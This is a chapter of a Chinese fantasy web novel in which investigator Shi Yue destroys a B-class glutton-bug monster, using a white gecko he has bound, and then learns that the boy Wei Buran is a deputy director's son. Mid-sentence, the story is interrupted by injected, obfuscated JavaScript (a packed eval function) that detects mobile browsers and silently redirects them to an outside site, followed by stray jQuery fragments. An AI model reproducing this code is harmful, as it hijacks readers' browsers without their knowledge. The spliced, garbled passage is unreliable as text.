11. 身世

作品:《危险生物的饲育方式

    小朱先是傻了眼,随即在心中大喝:到底是时队!时队就是厉害!


    原来时队真的是早有准备,看穿了那个诡物躲在暗处,这才装作被怪物压着打的!


    太好了!这下一招就就解决了这个B级诡物!这样我们马上就能出去了!


    不同于需要额外处理魇瘴的“劣化诡域”,这种完整的碎片诡域,只要剿杀了主宰诡物,就能让其彻底消失。


    然而,虽说黄毛的脑袋都碎得拼不起来了,那些灰白色的魇瘴却并没有消退。


    小朱在后方等了几秒,暗道不妙,这玩意儿没死。


    果然。


    那已经没了头颈的尸体,原本向后倒在地上,此时四肢反扭过来,以一种怪异的姿态在地上蠕动爬行。它腹部的那团隆起,如今动得更加剧烈,里面的东西似乎随时都要破腹而出。


    时跃的斩.马.刀并未就此停下。


    寒光起落之间,无头尸变为肉块,再冒出丝丝黑气,迅速转为腐肉,最终化成脓水,一滴滴渗透到黑色的砂砾间。


    后方的小朱再次看呆了,心道这是绝对的武力压制啊。管你究竟是什么玩意儿,直接砍翻了再说。


    这次,诡域总该碎了吧?


    白色魇瘴的确淡了些。


    就在这时,地上都已碎成渣渣的头部,竟然顽强地、拉扯着声带再次发出声音:


    “咳……咳咳……”


    “你们华夏人……果然都狡诈……”


    “又狡诈……又着急……居然都不肯听人把话说完……”


    时跃脸色骤变,转身望着地上那一团污物,像是不相信这玩意儿还没死、还能说话。


    残缺不全的黄毛脑壳躺在地上嘿嘿怪笑起来:


    “你知道那个蒲甘人,为什么要自愿吞下宝虫,自愿变成这样吗?”


    时跃应道:“为什么?”


    黄毛的笑声尖利得像是手指甲在不停抓挠黑板:“因为……他恨啊……”


    “他在挨饿的时候,发现你们华夏的狗,你们华夏的猫,都吃得比他们好……”


    “他怎么受得了……”


    “我便告诉他,我可以让他永远摆脱饥饿,还可以让这些华夏人怎么吃都吃不饱……”


    “他就答应我,主动把我放出来了!”


    “这之后,我让他把我吞进肚,由我接管了他的身体。”


    听到黄毛的话,时跃依然神色镇定,不像是在和怪物对峙,倒像是在做什么调查研究。


    他甚至还提了个问题:“你怎么知道蒲甘人会憎恨黎瓦村的人?”


    黄毛的眼珠子在地上滚了几圈,滚到里时跃的面前:


    “我当然知道了。”


    “就像当年……”


    “那些贵族们,坐在桌前,大口吞下他们根本不需要的食物,再拼命将这些美味吐出来——”


    “而我们……你知道吗,我们,就等在他们的屋外,等着侍从把他们吐出来的东西倒进我们的饭碗……”


    “就这样,我们还得抢着、挤着,才能轮得上……”


    “既然他们吃进去也是吐出来,为什么不能直接给我们?为什么我们只能眼睁睁地看着他们变成肥猪,自己只能在角落里饿死?”


    时跃“哦”了一声,若有所思道:“原来这才是暴食虫的真正由来。”


    “这倒是我没想到的。对于食物的不同欲念扭曲在一起,最终诞生了暴食虫。”


    “行了,我的报告完整了。”


    黄毛的笑都如同一条毒蛇:“啊,狡猾的华夏人,我也算让你死个明白了。”


    “你以为我们都像你杀掉的幼态那么好欺负?”


    “你以为被你杀掉的伴生体,就是我的全部依仗?”


    “你马上就会知道,被我精心孵化的飞虫,会怎么样围住你们,把你们身上的肉一块块咬下来了!”


    这个自负的人类,以为我就没有别的后手了?以为把我这具外壳砍成稀烂,就能杀了我么?


    我早已催化了无数的虫卵!


    这些虫卵,方才已渗透到地下,马上就会破土而出振翅而飞,把你们撕成碎肉!


    黄毛扯着字面意义上的破喉咙,发出高亢的尖啸:“出!!!”


    出来吧!将这些人团团围住,吃个干净吧!


    噗呲,噗呲……


    地上的砂砾发出细碎的声响。


    啪!


    沙块间裂开一条缝。


    有什么东西,蜿蜒扭动着,冒了出来!


    黄毛的眼珠转个不停,仅余的肉块激动得原地颤抖。


    直到这东西彻底钻出了地面。


    那是、是一只……白色守宫?


    它通体纯白,眼珠鲜红,长长的舌头灵活地在空中翻卷,将人类肉眼看不见的虫孓通通卷入腹中!


    那些被黄毛“寄以厚望”的飞虫,早已成为它的美食!


    黄毛看清眼前这天敌后,尖啸起来:“不!不!不可能!它早就死了!它的尸体都干瘪了!”


    这是自它诞生以来,便以它为食的另一类诡物。


    黎瓦村的先民,根本不知道暴食虫的真相,也不认识这缩小后的守宫,还当此物是“宝物”的守护者,便恭恭敬敬地将两者供奉在一起。


    事实上,守宫只是在等着自己的食物成熟而已。


    出于对天敌的恐惧,黄毛的眼珠、碎肉开始拼命朝远处滚。


    然而守宫显然不打算放过它。


    它迈开四肢,甩着白色长尾,蹭蹭蹭地直逼那堆碎肉而去。


    黄毛那闭不上、藏不住的眼珠,在此刻才发现:守宫的白色外皮上,附着淡金色的、锁链般的纹路。


    而这“锁链”的另一端,竟是握在那个黑发华夏人的手中!


    这,这,这华夏人,竟然强行唤醒了变成干尸的守宫!还驱使它来猎杀我们!


    ……他方才在那里踌躇不前,原来只是等着守宫在地下大开杀戒?!


    他究竟是怎么做到的?为什么一个人类能驱使诡物?!


    黄毛残余的几颗牙齿碰撞在一起,咯咯作响。


    它知道自己必是逃不出去了。


    相生相克,它绝对无法避开守宫的猎杀。


    但在此之前,总得拖一个人类为自己陪葬!


    它的眼珠在泥土里转动,朝向了躲在远处的瘦弱少年。


    挡在少年身前那人,有异能,有武器,自己现在肯定不是他的对手。但后面这个少年,一看就弱不禁风毫无防御能力。


    黄毛调动


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533103|170859||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最后的力量,让几粒碎肉长出密密麻麻的步足变成爬虫模样,驱赶着它们在沙土里迅速钻行,直奔那少年而去!


    这些细小的蚰蜒,会咬破少年的皮肤,会在他体内穿行蠕动……直到对方变成千疮百孔的一张人皮。


    然而,原本嗖嗖窜动的爬虫,突然停住了。


    不是因为守宫。


    是一种,身为B级诡物的暴食虫从未感受过的,强大到它无法做出任何动作,甚至连呼吸都要静止下来的威压。


    威压之下,爬虫就地化为粉尘,一丝痕迹都没有留下。


    黄毛的眼珠定在原地,一动也不能动了。


    它只能跟看着远处那瘦弱的少年面带忧色地注视着手持无形锁链的人类,看着被锁链捆绑的守宫朝自己一步步逼近。


    这,究竟,究竟是……


    他们……到底……


    黄毛的思绪变为了空白。它的残躯被守宫一口吞进了肚。


    这一次,魇瘴终于开始快速消散。


    时跃疾步向前,走到那一尺来长的白色守宫,蹲下身道:“辛苦了。”


    “按照约定,我会送你去新的诡域。”


    *


    诡域消失了。


    恍惚间,三人重新站在了灯红酒绿车水马龙的繁华街头。


    火锅店的服务员还在热情地喊着:“谢谢光临!好吃再来!”


    就像方才那一场恶战从未发生过。


    时跃捡起丢在一旁的夹克套在身上,用手背抹了把脸,先夸了句小朱,正想问卫不染是不是被吓到了,却被少年一下揪住了衣角。


    时跃愣了一下,抬手摸摸卫不染的脑袋,放软声音道:“怎么了?吓到了?”


    “没事了没事了。诡域完全消失了,怪物也被砍成灰了,不会再出来行凶了。”


    卫不染抬头看着时跃,脸色白得吓人:“我以为……以为……你打不过……”


    我以为你会被怪物吃掉。


    时跃“嗐”一声:“那都是装出来的啦。”


    其实,也不完全是装的。


    最开始猛然遭遇一群伴生体,时跃难免会觉得吃力。


    但打着打着,当他注意到操纵伴生体的本体狡猾地藏起气息之后,他便决定将计就计诱敌出洞了。


    卫不染使劲地点头,又抬起胳膊,试图为时跃擦掉脸上的脏污。


    时跃自己用手背抹了把脸,笑着道:“好啦好啦。没事啦。走走走,我这次可算是能把报告写完了。”


    结案结案!撒花撒花!


    不料,卫不染咬住嘴唇,像是用了很大的力气,突破了极大的障碍,小声憋出一句话:“这……这就是你们的工作吗?”


    时跃正想开口解释,冷不丁的手机震了。


    是齐局。


    他赶紧接起电话:“齐局,暴食虫的案子——诶?”


    “您说卫不染?这孩子就在我身边。”


    “诶?”


    时跃的眼睛骤然睁大。


    他下意识回头看了眼卫不染,拿着手机走到一旁。


    他觉得脑子有点晕,比刚才和暴食虫狭路相逢的时候还要晕。


    他定定神,对着话筒道:“齐局,您是说,卫不染,是卫啸卫副局长的儿子?”